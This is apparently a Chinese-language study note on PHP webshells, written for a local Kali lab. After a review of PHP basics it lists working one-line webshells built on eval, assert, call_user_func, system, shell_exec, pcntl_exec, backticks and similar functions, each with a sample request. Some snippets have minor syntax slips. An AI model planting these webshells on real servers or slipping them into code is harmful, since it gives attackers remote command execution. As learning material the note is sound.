php webshell学习
一、环境
kali 192.168.43.177
开户apache /etc/init.d/apache2 start
/var/www/html/目录下编辑php代码
hackbar
https://github.com/Mr-xn/hackbar2.1.3
二、php基础
输出函数:
echo - 可以输出一个或多个字符串
print - 只允许输出一个字符串,返回值总为 1
提示:echo 输出的速度比 print 快, echo 没有返回值,print有返回值1。
var_dump 用于输出变量的相关信息,包括变量类型,值
print_r 函数用于打印变量,以更容易理解的形式展示。
EOF
<?php
echo <<<EOF
<h1>我的第一个标题</h1>
<p>我的第一个段落。</p>
EOF;
// 结束需要独立一行且前后不能空格
?>
php字符串
https://www.runoob.com/php/php-ref-string.html
<?php
$txt1="Hello world!";
$txt2="What a nice day!";
echo $txt1 . " " . $txt2;
?>
PHP 超级全局变量
https://www.runoob.com/php/php-superglobals.html
$GLOBALS 用于访问全局变量数组
$_SERVER 包含服务器信息和请求头的数组
表单数据
$_REQUEST
$_POST
$_GET
$_FILES
http://c.biancheng.net/view/6187.html
$_FILES 是一个预定义的数组,用来获取通过 POST 方法上传文件的相关信息。如果为单个文件上传,那么 $_FILES 为二维数组;如果为多个文件上传,那么 $_FILES 为三维数组
$_ENV
PHP中的$_ENV是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它。
$_COOKIE
数组 用于取回cookie的值
$_SESSION
数组,用于取回会话变量
三、webshell常用函数
3.1代码执行
1. eval
eval () 函数把字符串按照 PHP 代码来执行
该字符串必须是合法的 PHP 代码,且必须以分号结尾
如果没有在代码字符串中调用 return 语句,则返回 NULL
如果代码中存在解析错误,则 eval () 函数返回 false
可参考
https://www.cnblogs.com/flzs/p/10241668.html
https://qq52o.me/2277.html
注意:
加上 @符来抑制错误输出
eval函数参数中的赋值操作需要对$转义 \$
//#1-eval
<?php
eval($_POST["cmd"])
?>
//post:cmd=phpinfo();
<?php @eval($_GET["cmd"]);?>
//get:?cmd=phpinfo();
2. assert
assert为php中的断言函数,用法同eval
assert_option()可以用来对assert()进行一些约束和控制;
默认值
ASSERT_ACTIVE=1 //Assert函数的开关
ASSERT_WARNING =1 //当表达式为false时,是否要输出警告性的错误提示,issue a PHP warning for each failed assertionASSERT_BAIL= 0 //是否要中止运行;terminate execution on failed assertions
ASSERT_QUIET_EVAL= 0 //是否关闭错误提示,在执行表达式时;disable error_reporting during assertion expression evaluation
ASSERT_CALLBACK= (NULL) // 是否启动回调函数 user function to call on failed assertions
例子
//#2-assert
<?php
assert($_POST["cmd"])
?>
//post:cmd=phpinfo();
3. call_user_func
https://www.php.net/manual/zh/function.call-user-func.php
call_user_func把第一个参数作为回调函数调用,
其余参数是回调函数的参数。
返回回调函数的返回值。
//#3-call_user_func
<?php
call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert¶=phpinfo();
4. create_funtion
https://www.php.net/manual/zh/function.create-function.php
create_function用于创建一个匿名函数,像python中lambda表达式
create_function ( string $args , string $code ) : string
args 为函数参数 如$a,$b
code 函数的代码
返回一个字符串,表示 函数名
//#4-create_function
<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();
5 array_map
https://www.php.net/manual/zh/function.array-map.php
array_map — 为数组的每个元素应用回调函数,相当于python中的map函数
//#5-array_map
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['func'],$array);
?>
//post:func=phpinfo
3.2 命令执行
php有一系列系统命令执行的函数
可参考https://www.php.net/manual/zh/book.exec.php
1. system
https://www.php.net/manual/zh/function.system.php
system — 执行外部程序,并且显示输出
<?php system($_POST["cmd"]);?>
//post:cmd=whoami
2 passthru
passthru — 执行外部程序并且显示原始输出
passthru
<?php passthru($_POST["cmd"]);?>
//post:cmd=ifconfig
3.exec
返回命令输出的最后一行
image.png
<?php echo exec($_POST["cmd"]);?>
4 pcntl-exec
https://www.php.net/manual/zh/function.pcntl-exec.php
<?php pcntl_exec("/bin/bash",array($_POST["cmd"])); ?>
5. shell_exec
shell_exec<?php echo shell_exec($_POST["cmd"]); ?>
6 popen proc_popen
https://www.php.net/manual/zh/function.proc-open.php
https://www.php.net/manual/zh/function.popen.php
<?php $handle = popen("/bin/ls","r");?>
7 ``
<?php echo `whoami`?>
8 ob_start/ob_end_flush
https://www.php.net/manual/zh/function.ob-start.php
<?php
$cmd = 'system';
ob_start($cmd)
echo "$_GET[a]";
ob_end_flush();
?>
//?a=whoami